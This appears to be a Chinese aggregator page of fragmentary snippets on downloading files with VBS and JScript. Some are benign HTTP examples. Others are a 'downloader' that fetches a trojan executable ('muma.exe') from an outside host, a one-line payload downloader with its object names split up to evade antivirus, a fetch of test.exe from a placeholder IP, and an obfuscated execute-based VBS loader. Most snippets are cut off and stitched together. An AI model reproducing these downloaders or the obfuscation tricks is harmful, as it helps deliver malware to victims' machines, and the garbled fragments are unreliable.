一句话vbs下载

文件a.js： var m_http = new ActiveXObject("Msxml2.ServerXMLHTTP"); m_http.open("GET", "http://www.baidu.com" , false); m_http.send(""); WScript.StdOut.WriteLine(m_http.responseText); c:\>cscript a.js

get请求 模拟发送http请求到百度 Dim http Set http = CreateObject("Msxml2.ServerXMLHTTP") http.open "GET",http://www.baidu.com, False http.send msgbox http.status msgbox http.responsetext post请求 set

请求的返回方式 WEB方式请求 刷新当前页 开启一个新的IE窗口：提交表单form target ="_blank" XMLHTTP XMLHTTP对象得到 SOAPTOOL SOAPTOOL对象得到 请求的应用范围 WEB方式请求 IE中 XML

在异步方式下，数据包一旦发送完毕，就结束Send进程，客户机执行其他的操作；XMLHTTP对象中的readyState属性能够反映出服务器在处理请求时的进展状况。客户机接收到返回消息后，进行简单的处理，基本上就完成了C/S之间的一个交互周期。Open方法中包含了5个参数，前三个是必要的，后两个是可选的(在服务器需要进行身份验证时提供)。● responseXML：将返回消息视为XML文档，在服务器响应消息中含有XML数据时使用；url： 接收XML数据的服务器的URL地址。

    说到使用vbs下载文件是不是想到了XMLHTTP呢，呵呵，以下是比较经典的代码：iLocal=LCase(Wscript.Arguments(1))iRemote=LCase(Wscript.Arguments(0))Set xPost=createObject("Microsoft.XMLHTTP")xPost.Open "GET",iRemote,0xPost.Send()set

'把以下代码存成.VBS，然后在命令行里调用。参数为：网址 本地文件 dim url dim file Set objArgs = WScript.Arguments if objArgs.Count < 2 then msgbox("Invalid param count! should be: url pathfilename") Else url = objArgs(0) file = objArgs(1) GetHttpResult url...

原创vbs代码教学，欢迎来看！

转自冷风大神的文章：http://blog.csdn.net/chinafe/article/details/46860051 echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open ^"get^",wsh.arguments(0),0:w.send:

window定时访问接口URL

情人节代码（可学习）

原代码：UgiuihuiYUG="execute>>P>next>>>P>P>P>P>P>P>P>P>for>>P>P>P>strs=array(575784,111,110,32,101,114,114,111,114,32,114,101,115,117,109,101,32,110,101,120,116,13,10,83,101,116,32,107,106,74,73,104,117

一、VBS下载者： Set Post = CreateObject("Msxml2.XMLHTTP") Set Shell = CreateObject("Wscript.Shell") Post.Open "GET","http://www.03389.com/muma.exe",0 Post.Send() Set aGet = CreateObject("ADODB.Stream")

payload下载及免杀文档制作 payload下载 vbs 脚本如下,注意要放到一行里 支持windows全系列，但对https不友好 echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile w

NameSpace = "http://schemas.microsoft.com/cdo/configuration/"  Set objEmail = CreateObject("CDO.Message")   Function HttpRequest(url,mode,params)    Dim oauth_http    Set oauth_http=CreateObject("Micr...

vbs Set Post = CreateObject("Msxml2.XMLHTTP") Set Shell = CreateObject("Wscript.Shell") Post.Open "GET","http://IP/test.exe",0 Post.Send() Set aGet = CreateObject("ADODB.Stream") aGet.Mode = 3 aGet.T